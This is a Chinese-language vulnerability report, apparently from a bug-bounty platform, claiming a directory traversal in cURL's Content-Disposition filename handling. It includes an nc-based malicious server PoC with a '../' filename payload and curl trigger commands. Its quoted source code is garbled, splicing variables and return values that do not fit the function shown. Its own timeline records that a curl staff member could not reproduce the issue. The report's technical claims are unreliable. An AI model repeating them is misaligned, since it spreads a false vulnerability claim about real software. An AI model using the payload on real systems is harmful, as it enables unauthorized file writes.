目录遍历漏洞在cURL中的Content-Disposition头处理
漏洞描述
src/tool_cb_hdr.c文件中的parse_filename函数未能充分验证和清理从HTTP Content-Disposition头提取的文件名,当同时使用-O(远程名称)和-J(远程头名称)选项时,允许目录遍历攻击。
漏洞代码位置
文件: src/tool_cb_hdr.c
函数: parse_filename(约230-300行)
受影响代码路径:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
static char *parse_filename(const char *ptr, size_t len)
{
// ... [文件名提取逻辑] ...
if(per->config->output_dir) {
outs->filename = curl_maprintf("%s/%s", per->config->output_dir,
filename); // 漏洞点:文件名可能包含路径遍历
}
else
outs->filename = filename;
// 创建文件时缺乏足够的路径遍历检查
if(!tool_create_output_file(outs, per->config))
return CURL_WRITEFUNC_ERROR;
}
|
攻击场景
- 用户执行:
curl -O -J http://malicious-server/file -o "/intended/output/dir"
- 恶意服务器响应头:
Content-Disposition: attachment; filename="../../../etc/passwd"
- cURL在
/etc/passwd创建文件,而非/intended/output/dir/etc/passwd
概念验证
恶意服务器设置:
1
|
echo -e "HTTP/1.1 200 OK\r\nContent-Disposition: attachment; filename=\"../../../tmp/pwned_file\"\r\nContent-Length: 6\r\n\r\nPWNED" | nc -l -p 8080
|
漏洞利用命令:
1
2
3
|
# 触发漏洞的用户命令
curl -O -J http://localhost:8080/malicious-file -o "/safe/output/directory"
# 结果:文件创建于/tmp/pwned_file,而非/safe/output/directory/pwned_file
|
修复建议
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
static char *parse_filename(const char *ptr, size_t len)
{
char *copy = memdup0(ptr, len);
if(!copy)
return NULL;
// 路径遍历防护
if(strstr(copy, "..") != NULL) {
free(copy);
return NULL; // 拒绝包含路径遍历的文件名
}
// 绝对路径额外清理
if(copy[0] == '/') {
free(copy);
return NULL; // 拒绝绝对路径
}
// ... 现有处理逻辑 ...
}
|
影响
直接影响
- 任意文件写入:攻击者可在预期输出目录外写入文件
- 文件覆盖:可覆盖现有系统文件
- 权限提升:以提升权限运行时,可修改关键系统文件
攻击向量
- 恶意Web服务器:任何被入侵或恶意服务器均可利用此漏洞
- 中间人攻击:在未加密连接中
- 缓存投毒:如果CDN或代理缓存被入侵
时间线
- 10天前: oliverkremer向curl提交报告
- 9天前: fandrich(curl员工)发表评论,表示无法复现该问题
- 9天前: bagder(curl员工)请求公开此报告
- 9天前: oliverkremer同意公开报告
报告详情
报告ID: #3408126
报告时间: 2025年11月1日 20:40 UTC
报告者: oliverkremer
报告对象: curl
严重程度: 中危(4~6.9)
弱点类型: 路径遍历
CVE ID: 无
赏金: 无